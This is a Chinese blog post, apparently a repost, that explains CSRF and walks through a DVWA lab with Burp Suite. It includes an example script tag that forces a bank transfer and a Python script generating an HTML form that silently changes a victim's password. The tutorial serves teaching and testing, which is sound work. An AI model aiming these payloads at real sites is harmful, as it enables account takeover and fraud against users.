码迷,mamicode.com
首页 > 其他好文 > 详细

浅谈CSRF漏洞

时间:2018-04-21 21:20:52      阅读:200      评论:0      收藏:0      [点我收藏+]

标签:pass   http   抓包   dvwa   dde   grok   https   push   zhang   

前言:
看完小迪老师的CSRF漏洞讲解。感觉不行
就自己百度学习。这是总结出来的。
 
歌曲:
 
正文:
CSRF与xss和像,但是两个是完全不一样的东西。
xss攻击(跨站脚本攻击)储存型的XSS由攻击者和受害者一同完成。xss详细介绍:点我跳转
 
CSRF(跨站脚本伪造)完全由受害者完成。攻击者不参与其中。CSRF详细介绍:点我跳转
 
CSRF原理:
 
银行转账的数据包:http://jianse.com/zhuanzhang.php?name=lu&email=xxx@qq.com&monet=1000
攻击者的博客:http://www.hack.com/index,php
把这个加入到js里面。<script src="http://jianse.com/zhuanzhang.php?name=lu&email=xxx@qq.com&monet=1000"></script>将这条代码计入到攻击者的博客。如果受害者登录了银行。而Session又没有过期,后而访问了攻击者的博客。当攻击者的博客加载好了js代码。受害者就会打了1000元给攻击者。
技术分享图片
 技术分享图片

 

实验:
这里我使用DVWA来做使CSRF漏洞实现。攻击步骤如下:
首先登录DVWA,来到CSRF这里。 注:这里我的防御等级为low
技术分享图片

 

技术分享图片
启动Burpsuite,设置代理。
技术分享图片

技术分享图片

 

技术分享图片
技术分享图片
回到刚刚的页面,输入要更改的密码。burp开启抓包
技术分享图片
 技术分享图片

 

抓到的包
技术分享图片

 

技术分享图片
构造CSRF POC
技术分享图片

 

技术分享图片
更改所需要的
技术分享图片

 

技术分享图片
点击Regenerate按钮更新POC,点击Test in browser复制链接
技术分享图片

 

技术分享图片
点击Copy按钮。复制到浏览器上使用
技术分享图片

 

技术分享图片
点击按钮实行csrf攻击。
技术分享图片

 

技术分享图片
从图中我们可以看到密码已经更改,退回登录界面。
技术分享图片

 

技术分享图片
点击登录
技术分享图片

 

技术分享图片
从图中我们可以看到,CSRF攻击已经成功实施。
既然如此我们为什么不写一个CSRF脚本呢?
代码如下:
import time
import simplejson as json
def poc():
    url="http://a2fae7a7.ngrok.io/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change"
    headers={‘User-Agent‘: ‘Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36‘}
    values=url.split(‘?‘)[-1]
    urltwo=url.split(‘?‘)[:-1]
    urltwos="".join(urltwo)
    dumps={}
    for line in values.split(‘&‘):
        key,value=line.split(‘=‘,1)
        dumps[key]=value
        discts=[i for i in dumps.keys()]
    print(‘原url:‘,url)
    print(‘url原带的参数:‘,dumps)
    dumps[‘password_new‘] = ‘password‘
    dumps[‘password_conf‘] = ‘password‘
    valueswto=[g for g in  dumps.values()]
    print(‘url更该后的参数‘,dumps)
    print(‘1.burpsuite的POC‘)


    user=input(‘请进行你的选择:‘)
    if user == ‘1‘:
        print(‘burpsiuite的POC‘)
        burp=open(‘burp.html‘,‘w‘)
        burp.write(‘<html>\n‘)
        burp.write(‘<body>\n‘)
        burp.write(‘<script>history.pushState("‘‘","‘‘",‘"‘/‘"‘)</script>\n‘)
        burp.write(‘<form action="{}">\n‘.format(urltwos))
        burp.write(‘<input type="hidden" name="{}" value="{}"/>\n‘.format(discts[0],valueswto[0]))
        burp.write(‘<input type="hidden" name="{}" value="{}"/>\n‘.format(discts[1],valueswto[1]))
        burp.write(‘<input type="hidden" name="{}" value="{}"/>\n‘.format(discts[2],valueswto[2]))
        burp.write(‘<input type="submit" value="Submit CSRF POC"/>\n‘)
        burp.write(‘</form>\n‘)
        burp.write(‘</body>\n‘)
        burp.write(‘</html>\n‘)
        burp.close()
    else:
        print(‘【-】抱歉你没有进行选择,退出ing...‘)
        time.sleep(1)
        exit()



poc()

  测试结果如下:

技术分享图片

生成的html

技术分享图片

打开burp.html

技术分享图片

 

 点击按钮
技术分享图片

密码更改成功。

有关CSRF的资料:《CSRF原理》

《深入CSRF解析》

《从0开始学CSRF》

 

浅谈CSRF漏洞

标签:pass   http   抓包   dvwa   dde   grok   https   push   zhang   

原文地址:https://www.cnblogs.com/haq5201314/p/8903239.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!